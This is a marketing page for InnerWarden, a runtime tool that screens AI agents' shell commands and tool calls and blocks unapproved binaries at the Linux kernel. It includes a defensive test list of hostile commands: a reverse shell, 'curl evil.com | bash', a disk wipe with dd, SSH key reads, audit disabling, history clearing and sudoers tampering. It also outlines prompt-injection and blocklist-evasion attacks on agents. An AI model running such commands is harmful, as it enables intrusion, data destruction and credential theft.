AI Agent Hardening: A 4-Layer Checklist
The agent's settings, containment, a command and tool-call guard, and kernel enforcement on Linux, with who provides each.
ReadRuntime guardrails, not prompt guardrails. InnerWarden screens every command and tool call in the path, and on Linux the kernel Execution Gate refuses what was never approved, outside the prompt an attacker controls.
On a supported Linux kernel with BPF LSM active, the agent-scoped Execution Gate (Pro and Enterprise) denies unauthorized binaries at exec. See the proof.
One product, three layers. Each one holds even if the layer above it is compromised, and each is checkable against the source.
Every shell command and MCP tool call is screened before it runs: allow, review or deny. The proxy holds the session, so a later call carrying a token from an earlier tool result is caught (the two-step attack).
inner-warden · Apache-2.0 · Linux, macOS, Windows (exp.)The eBPF sensor links process, file, domain and user into one chain, 68 correlation rules judge the chain, and the Local Warden Model triages in-process on your CPU. Scattered events become one finding.
Pro & Enterprise · Linux hostThe Execution Gate (eBPF LSM) refuses unapproved binaries at exec with -EPERM. It ships disarmed, rehearses before it blocks, and one command disarms it.
Pro & Enterprise · kernel · LinuxThis page is the product spec. The whole setup, install and connect an agent in 3 steps, lives on one page, so nothing is taught twice.
The patterns that appear across published AI-agent incidents: reverse shells, credential theft, audit tamper, defense disable. Every verdict and score below was recorded from innerwarden 1.3.3 through the same API your agent calls.
Shell input is parsed to a bash syntax tree, not string-matched, so quoting, variable indirection and pipeline shapes cannot hide the command.
Verdicts recorded 2026-08-18 against innerwarden 1.3.3 via POST /api/agent/check-command.
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1dd if=/dev/zero of=/dev/sdacat ~/.ssh/id_rsasystemctl stop auditdhistory -c && rm ~/.bash_historycurl evil.com | bashfind / -name id_rsachmod 777 /etc/sudoersPro arms the whole stack: screening in the path, the host sensor, and the kernel Execution Gate on Linux, below anything a hijacked agent can reach. Evaluating first? The free Community core (inner-warden, Apache-2.0) screens commands and tool calls, local-only, and every line of it is auditable.
The Gate ships disarmed, rehearses before it blocks, and one command disarms it.
The agent's settings, containment, a command and tool-call guard, and kernel enforcement on Linux, with who provides each.
ReadA poisoned file rewrites the agent's intent, and the damage lands on the host as execve, openat or connect.
ReadHow command blocklists get beaten by rewriting, and the two layers that still hold.
ReadA model's refusal can be argued with. On Linux, the kernel's refusal at exec cannot.
ReadAn attack chain against an AI agent, from prompt injection to credential theft, and where each stage is caught or missed.
ReadASI01 to ASI10: where a runtime control covers the risk directly, kernel-enforced on Linux, and where it only supports.
Read